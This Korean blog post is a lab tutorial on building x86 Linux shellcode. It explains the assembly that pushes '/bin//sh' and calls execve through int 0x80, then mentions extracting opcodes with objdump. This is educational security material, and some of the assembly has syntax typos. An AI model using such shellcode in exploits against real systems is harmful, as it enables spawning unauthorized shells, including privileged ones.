OS/Linux
[RedHat] 쉘코드(Shellcode) 만들기 실습
Dexter_-
2020. 4. 22. 16:17
728x90
반응형
Shellcode 만들기
참고 블로그
쉘코드 (shellcode) 만들기
- 쉘코드 함수의 return address를 임의의 주소로 변경할 경우 임의의 주소에 있는 프로그램을 실행시킬수 있다. 이때 프로그램이 Set-UID나 deamon으로 실행되고 있는 경우에 발생한다면 상당히 위험하
5log.tistory.com
쉘코드
함수의 return address를 임의의 주소로 변경할 경우 임의의 주소에 있는 프로그램을 실행시킬 수 있다.
레지스터 용도
- EAX 시스템 콜(system call) 함수 번호
- EBX 첫번째 함수 인자
- ECX 두번째 함수 인자
- EDX 세번째 함수 인자
execve 함수 사용
execve 실행
execve 의 호출 번호 확인
어셈블리 코드 작성
- 코드 풀이
. glbal _start
_start:
C 언어에서 main과 같은 부분 형식
xor %eax, %eax
xor %edx, %edx
xor은 다르면 1이고 같은 값을 xor 하면 0으로 초기화 된다.
push %eax
push %0x68732f2f
push %0x6e69622f
mov %esp, %ebx
- 스택에 eax를 넣는다.
- 0x68732f2f (//sh)을 넣는다.
- 0x6e69622f (/bin)을 넣는다
- 주소 ebx에 저장한다.
/bin/sh 는 7byte로 /bin//sh는 같은 동작을 함으로 8byte로 맞춰 주었다.
0x68732f2f, 0x6e69622f 은 "//sh", "/bin" 각각 아스키코드 16진수 값을 리틀 엔디언 방식으로 변환 된 값이다.
push %edx
push %ebx
mov %esp, %ecx
- 스택에 edx를 넣는다.
- ebx를 넣는다. (위에서 ebx는 /bin//sh의 주소를 저장)
- 주소를 ecx에 저장한다. (ecx는 /bin//sh의 주소를 저장한다.)
movb $0x0B, %al
int $0x80
- execve 함수를 호출한다. (앞서 확인한 호출번호 11을 16진수로 변환)
- int %0x80 인터럽트를 호출한다. (실행)
오브텍트 코드 생성 및 실행 파일 생성
objdump 프로그램을 이용한 OP CODE 추출
쉘코드 실행
위에서 추출한 16진수를 문자열로 변경하여 쉘 코드 생성
728x90
반응형